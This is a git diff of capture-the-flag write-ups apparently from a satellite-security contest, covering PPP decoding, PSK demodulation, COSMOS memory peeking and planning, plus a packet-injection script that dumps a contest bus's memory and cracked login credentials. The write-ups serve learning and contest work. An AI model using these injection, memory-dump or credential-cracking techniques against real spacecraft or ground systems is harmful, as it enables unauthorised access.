1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
|
||||||
|
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
|
||||||
|
Session completed
|
||||||
|
```
|
||||||
|
|
||||||
|
Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag`
|
||||||
|
command to get the flag.
|
||||||
|
|
||||||
|
## Resources and other writeups
|
||||||
|
|
||||||
|
* <https://en.wikipedia.org/wiki/Hayes_command_set>
|
||||||
|
* <https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling>
|
||||||
|
* <https://github.com/kamalmostafa/minimodem>
|
||||||
|
* <https://en.wikipedia.org/wiki/Point-to-Point_Protocol>
|
||||||
|
* <https://tools.ietf.org/html/rfc2433>
|
||||||
|
* <https://www.openwall.com/john/>
|
|
@ -0,0 +1,38 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
with open("ch1", "rb") as f:
|
||||||
|
ch1 = f.read()
|
||||||
|
|
||||||
|
with open("ch2", "rb") as f:
|
||||||
|
ch2 = f.read()
|
||||||
|
|
||||||
|
# print(PPP(ch2[0x16a:0x186]).show())
|
||||||
|
# print(PPP(ch1[0x171:0x170+70]).show())
|
||||||
|
|
||||||
|
def decode(ch):
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
|
||||||
|
for x in ch:
|
||||||
|
if x == 0x7e:
|
||||||
|
if buf2 != b"\xFF" and buf2 != b"":
|
||||||
|
print(PPP(buf2).__repr__())
|
||||||
|
buf2 = b""
|
||||||
|
esc = False
|
||||||
|
elif esc:
|
||||||
|
esc = False
|
||||||
|
buf2 += bytes([x^0x20])
|
||||||
|
elif x == 0x7d:
|
||||||
|
esc = True
|
||||||
|
else:
|
||||||
|
buf2 += bytes([x])
|
||||||
|
|
||||||
|
if len(buf2) > 0:
|
||||||
|
print(PPP(buf2).__repr__())
|
||||||
|
|
||||||
|
print("\n", "=====================", "CH 1", "\n")
|
||||||
|
decode(ch1)
|
||||||
|
print("\n", "=====================", "CH 2", "\n")
|
||||||
|
decode(ch2)
|
|
@ -0,0 +1,18 @@
|
||||||
|
% why are we in a separate file here?
|
||||||
|
% pandoc really likes to mess with these commands when they're in the yaml config so, it's a
|
||||||
|
% separate file out of pandoc's evil clutches now
|
||||||
|
|
||||||
|
% i literally had to force upgrade to absolute bleeding edge lualatex to get this working ok
|
||||||
|
|
||||||
|
\usepackage{fontspec}
|
||||||
|
\usepackage{newunicodechar}
|
||||||
|
\newfontfamily{\emojifont}{Noto Color Emoji}[Renderer=Harfbuzz]
|
||||||
|
\DeclareTextFontCommand{\textemoji}{\emojifont}
|
||||||
|
\newunicodechar{🧃}{\textemoji{🧃}}
|
||||||
|
|
||||||
|
\newfontfamily{\symbolfont}{DejaVu Sans}[Renderer=Harfbuzz]
|
||||||
|
\DeclareTextFontCommand{\textsymbol}{\symbolfont}
|
||||||
|
\newunicodechar{⬡}{\textsymbol{⬡}}
|
||||||
|
\newunicodechar{⊕}{\textsymbol{⊕}}
|
||||||
|
|
||||||
|
\setmonofont{Noto Sans Mono}[Scale=0.9]
|
|
@ -0,0 +1,35 @@
|
||||||
|
# Phasors to Stun
|
||||||
|
|
||||||
|
**Category:** Ground Segment
|
||||||
|
**Points (final):** 62
|
||||||
|
**Solves:** 71
|
||||||
|
|
||||||
|
>Demodulate the data from an SDR capture and you will find a flag. It is a wav file, but that
|
||||||
|
>doesn't mean its audio data.
|
||||||
|
|
||||||
|
## Write-up
|
||||||
|
|
||||||
|
by [haskal](https://awoo.systems)
|
||||||
|
|
||||||
|
The provided WAV file contains a signal that looks like this:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
This looks suspiciously like Phase Shift Keying (PSK) and it's a very clean signal (this is also
|
||||||
|
hinted at by the challenge name). We can use [Universal Radio Hacker](https://github.com/jopohl/urh)
|
||||||
|
to demod this with very little effort.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Select PSK modulation, then click "Autodetect parameters". Then move to Analysis:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
We discovered that the signal is NRZI (non-return-to-zero inverted) coded, and after selecting this
|
||||||
|
in URH the flag is decoded in the data view.
|
||||||
|
|
||||||
|
## Resources and other writeups
|
||||||
|
|
||||||
|
* <https://github.com/jopohl/urh>
|
||||||
|
* <https://en.wikipedia.org/wiki/Phase-shift_keying>
|
||||||
|
* <https://en.wikipedia.org/wiki/Non-return-to-zero#NRZI>
|
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
Binary file not shown.
After Width: | Height: | Size: 240 KiB |
Binary file not shown.
After Width: | Height: | Size: 113 KiB |
|
@ -26,6 +26,7 @@ instance automatically by writing the configuration file at
|
||||||
`cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt`.
|
`cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt`.
|
||||||
When COSMOS is successfully connected to the CTF instance it looks like this (no themes were
|
When COSMOS is successfully connected to the CTF instance it looks like this (no themes were
|
||||||
installed in the Docker container so it looks like Windows 95, I'm so sorry,)
|
installed in the Docker container so it looks like Windows 95, I'm so sorry,)
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
COSMOS can be used to send commands with the Command Sender, and we can send for example a command
|
COSMOS can be used to send commands with the Command Sender, and we can send for example a command
|
||||||
|
@ -64,7 +65,9 @@ at any actual telemetry.
|
||||||
```ruby
|
```ruby
|
||||||
12.upto(212) { |off|
|
12.upto(212) { |off|
|
||||||
offset = off
|
offset = off
|
||||||
cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'")
|
cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, "
|
||||||
|
+ "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, "
|
||||||
|
+ "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'")
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
@ -74,7 +74,8 @@ def decode_pkt(b):
|
||||||
field4 = to_hex(b[27:30])
|
field4 = to_hex(b[27:30])
|
||||||
if b[30] != ord('?'):
|
if b[30] != ord('?'):
|
||||||
print('b[30] is not ?')
|
print('b[30] is not ?')
|
||||||
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4))
|
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
|
||||||
|
field3, field3end, field4))
|
||||||
elif b[0] == ord(';'):
|
elif b[0] == ord(';'):
|
||||||
print('delimiter') # end of previous packet?
|
print('delimiter') # end of previous packet?
|
||||||
else:
|
else:
|
||||||
|
@ -138,8 +139,26 @@ tried, this was extremely unlikely.
|
||||||
|
|
||||||
We then tried reading the data sequentially from the buffer, from Juicy Data 00
|
We then tried reading the data sequentially from the buffer, from Juicy Data 00
|
||||||
to 04. Here's the entire string:
|
to 04. Here's the entire string:
|
||||||
```
|
```hexdump
|
||||||
Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3
|
00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00...
|
||||||
|
00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1..
|
||||||
|
00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#.
|
||||||
|
00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y.
|
||||||
|
00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R.
|
||||||
|
00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|..
|
||||||
|
00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5.....
|
||||||
|
00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./..
|
||||||
|
00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02...
|
||||||
|
00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#.
|
||||||
|
000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O
|
||||||
|
000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}.....
|
||||||
|
000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M.
|
||||||
|
000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-.....
|
||||||
|
000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u.
|
||||||
|
000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N.
|
||||||
|
00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z.
|
||||||
|
00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u
|
||||||
|
00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K..
|
||||||
```
|
```
|
||||||
Unfortunately, nothing meaningful was derived from this. There are a `{` and `}`
|
Unfortunately, nothing meaningful was derived from this. There are a `{` and `}`
|
||||||
with bytes between them, but they aren't flag length.
|
with bytes between them, but they aren't flag length.
|
||||||
|
@ -168,7 +187,7 @@ of the form of `^3b+00+00+XX+.` where XX<38 shuts it down, but only 37 enables
|
||||||
dump mode. This can probably be done with a fuzzer. Why has God abandoned us?
|
dump mode. This can probably be done with a fuzzer. Why has God abandoned us?
|
||||||
What accursed malfunction did we do to deserve this fate?
|
What accursed malfunction did we do to deserve this fate?
|
||||||
|
|
||||||
If you send the packet `^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.`,
|
If you send the packet `^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.`,
|
||||||
the same packet is sent back.
|
the same packet is sent back.
|
||||||
This means that the juice packets deliminated with `\xca` are actually instructions.
|
This means that the juice packets deliminated with `\xca` are actually instructions.
|
||||||
|
|
||||||
|
@ -181,7 +200,7 @@ By playing with the packet, the format appears to go:
|
||||||
With the inject:
|
With the inject:
|
||||||
```
|
```
|
||||||
b"^3b+00+00+37+."
|
b"^3b+00+00+37+."
|
||||||
b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+."
|
b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+."
|
||||||
```
|
```
|
||||||
we can query for everything in memory. And we did.
|
we can query for everything in memory. And we did.
|
||||||
|
|
||||||
|
@ -191,43 +210,11 @@ we can query for everything in memory. And we did.
|
||||||
|
|
||||||
Run it:
|
Run it:
|
||||||
```
|
```
|
||||||
λ has-writeup/satellite-bus/magic-bus python magic-bus.py master 2h ⬡
|
λ has-writeup/satellite-bus/magic-bus python magic-bus.py
|
||||||
Injection: ^3b+00+00+37+.
|
|
||||||
b'^3a+00+00+3e+00+00+00+33+17+43+3c+0b+68+40+41+4e+dc+a0+c0+3e+6c+a0+40+c4+96+3f+c1+f8+fc+e6+3f+.'
|
|
||||||
START: 0000003317433c0b6840414edca0c03e6ca040c4963fc1f8fce63f
|
|
||||||
: 00:00:00 > 33:17:43:3c:b:68 @ 4e:dc:a0:c0:3e:6c:a0 @ c4:96 ? f8:fc:e6 ?
|
|
||||||
|
|
||||||
|
....
|
||||||
|
|
||||||
b'^3b+00+00+3f+.'
|
JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....'
|
||||||
ONCE CALL
|
|
||||||
delimiter
|
|
||||||
|
|
||||||
|
|
||||||
b'^3a+00+00+3f+00+00+00+38+94+53+40+c8+2e+40+41+01+3a+a0+c0+69+11+a1+40+7c+2e+40+c1+9b+1c+e6+3f+.'
|
|
||||||
ONCE: 00000038945340c82e4041013aa0c06911a1407c2e40c19b1ce63f
|
|
||||||
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?
|
|
||||||
|
|
||||||
|
|
||||||
b'^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.'
|
|
||||||
JUICE: b'\xca\x00Dy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc'
|
|
||||||
|
|
||||||
|
|
||||||
b'^3b+00+00+3e+.'
|
|
||||||
END CALL
|
|
||||||
delimiter
|
|
||||||
|
|
||||||
|
|
||||||
b'^3a+00+00+3e+00+00+00+ce+49+d5+3b+e9+6b+3f+41+8f+71+a0+c0+fa+72+a0+40+17+e5+3f+c1+51+0a+e7+3f+.'
|
|
||||||
INJECTING
|
|
||||||
END: 000000ce49d53be96b3f418f71a0c0fa72a04017e53fc1510ae73f
|
|
||||||
: 00:00:00 > ce:49:d5:3b:e9:6b ? 8f:71:a0:c0:fa:72:a0 @ 17:e5 ? 51:a:e7 ?
|
|
||||||
|
|
||||||
|
|
||||||
b'^3b+00+00+37+.'
|
|
||||||
SHUT DOWN SUCCESSFUL
|
|
||||||
INJECTING AGAIN
|
|
||||||
b'^ca+00+00+4a+75+69+63+79+20+44+61+74+61+20+30+30+00+c8+f7+eb+15+96+3d+6b+70+5c+c9+2c+5e+d5+cf+5c+31+99+19+77+9a+c6+a9+08+65+8d+55+92+6a+37+2c+00+ff+23+eb+14+b9+29+7f+29+85+48+56+e3+1d+25+3f+4f+be+59+c6+4a+75+69+63+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+fa+02+4d+41+02+16+df+e5+fd+a1+08+33+22+84+2f+fc+1f+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+c0+8f+e7+02+91+fd+e1+77+fb+82+7f+2e+a5+04+5e+a1+23+f9+d7+62+fc+fd+d5+cd+00+c0+d4+ce+86+61+68+47+f1+4f+49+82+4d+2a+f9+48+ac+79+76+51+7d+d4+f2+a0+cd+c9+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+4d+ae+40+9a+d8+39+e2+85+b2+59+d6+2f+2d+c9+d0+fb+92+d2+c4+59+aa+5b+20+42+c6+b5+61+93+b3+c6+50+01+75+90+9b+4d+ca+7e+d2+7c+d7+a9+ac+04+72+7c+ff+04+4e+c4+4a+75+69+63+79+20+44+61+74+61+20+30+34+00+5a+83+25+24+01+f8+a0+d8+a1+4c+dc+13+c8+dc+17+17+a0+75+10+bf+f2+4b+a5+25+e8+1e+0c+4b+e8+f3+23+42+76+48+66+77+40+06+4f+e1+53+2c+f4+1b+08+0c+32+a8+81+42+4a+75+69+63+79+20+44+61+74+61+20+30+35+00+2c+bb+86+6d+c2+d6+4e+15+02+43+30+0a+4f+63+b2+d0+a5+19+43+33+26+dc+a9+52+81+6a+65+1a+4e+bb+29+7b+76+af+e8+38+85+36+4d+66+6c+61+67+7b+6f+73+63+61+72+33+39+36+31+36+6b+69+6c+6f+3a+47+43+78+6d+68+4f+52+59+61+36+35+59+30+50+6d+52+74+46+6d+6c+46+53+42+6d+6e+76+49+6d+45+69+57+67+63+6f+47+32+70+6f+73+49+5f+6e+56+51+51+39+5a+4b+35+44+65+4b+76+56+53+76+69+6f+2d+4c+4c+2d+36+58+32+6a+66+52+46+77+39+42+34+58+71+34+6f+56+51+44+69+71+46+44+74+50+4d+7d+00+0d+70+a9+16+2e+df+4e+64+76+e3+91+15+87+6b+ad+72+22+af+71+ad+6c+91+9d+bd+3e+5e+34+67+.'
|
|
||||||
JUICE: b'\xca\x00\x00Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3#BvHfw@\x06O\xe1S,\xf4\x1b\x08\x0c2\xa8\x81BJuicy Data 05\x00,\xbb\x86m\xc2\xd6N\x15\x02C0\nOc\xb2\xd0\xa5\x19C3&\xdc\xa9R\x81je\x1aN\xbb){v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWgcoG2posI_nVQQ9ZK5DeKvVSvio-LL-6X2jfRFw9B4Xq4oVQDiqFDtPM}\x00\rp\xa9\x16.\xdfNdv\xe3\x91\x15\x87k\xadr"\xafq\xadl\x91\x9d\xbd>^4g'
|
|
||||||
```
|
```
|
||||||
Hey look, a flag!
|
Hey look, a flag!
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@ import sys
|
||||||
|
|
||||||
from pwnlib import tubes
|
from pwnlib import tubes
|
||||||
|
|
||||||
TICKET = 'ticket{oscar39616kilo:GPvmwTTzj5JlUEWS4qze0U3-MIIoybpJ5VAClSr3D6-3uOBwYuvsP1RK8jfQixupxQ}'
|
TICKET = 'THE_TICKET'
|
||||||
r = tubes.remote.remote('bus.satellitesabove.me', 5041)
|
r = tubes.remote.remote('bus.satellitesabove.me', 5041)
|
||||||
r.send(TICKET+'\n')
|
r.send(TICKET+'\n')
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
|
@ -31,7 +31,8 @@ def decode_pkt(b):
|
||||||
field4 = to_hex(b[27:30])
|
field4 = to_hex(b[27:30])
|
||||||
if b[30] != ord('?'):
|
if b[30] != ord('?'):
|
||||||
print('b[30] is not ?')
|
print('b[30] is not ?')
|
||||||
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4))
|
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
|
||||||
|
field3, field3end, field4))
|
||||||
elif b[0] == ord(';'):
|
elif b[0] == ord(';'):
|
||||||
print('delimiter') # end of previous packet?
|
print('delimiter') # end of previous packet?
|
||||||
else:
|
else:
|
||||||
|
@ -41,7 +42,7 @@ def decode_pkt(b):
|
||||||
|
|
||||||
start = True
|
start = True
|
||||||
inj = b"^3b+00+00+37+."
|
inj = b"^3b+00+00+37+."
|
||||||
inj2 = b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+."
|
inj2 = b"^ca+" + (b"00+" * 512) + b"."
|
||||||
|
|
||||||
dont = False
|
dont = False
|
||||||
inj2_b = False
|
inj2_b = False
|
||||||
|
|
|
@ -10,8 +10,8 @@
|
||||||
> You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations.
|
> You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations.
|
||||||
> The spacecraft in question is USA 224 in the NORAD database with the following TLE:
|
> The spacecraft in question is USA 224 in the NORAD database with the following TLE:
|
||||||
>
|
>
|
||||||
> 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09
|
> 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09
|
||||||
> 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04
|
> 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04
|
||||||
>
|
>
|
||||||
> You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W).
|
> You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W).
|
||||||
> Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours.
|
> Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours.
|
||||||
|
@ -54,5 +54,5 @@ The rest of the strategy is pretty much just to use trial and error:
|
||||||
```
|
```
|
||||||
|
|
||||||
## Resources and other writeups
|
## Resources and other writeups
|
||||||
- http://gpredict.oz9aec.net/
|
- <http://gpredict.oz9aec.net/>
|
||||||
- https://en.wikipedia.org/wiki/Two-line_element_set
|
- <https://en.wikipedia.org/wiki/Two-line_element_set>
|
||||||
|
|
Loading…
Reference in New Issue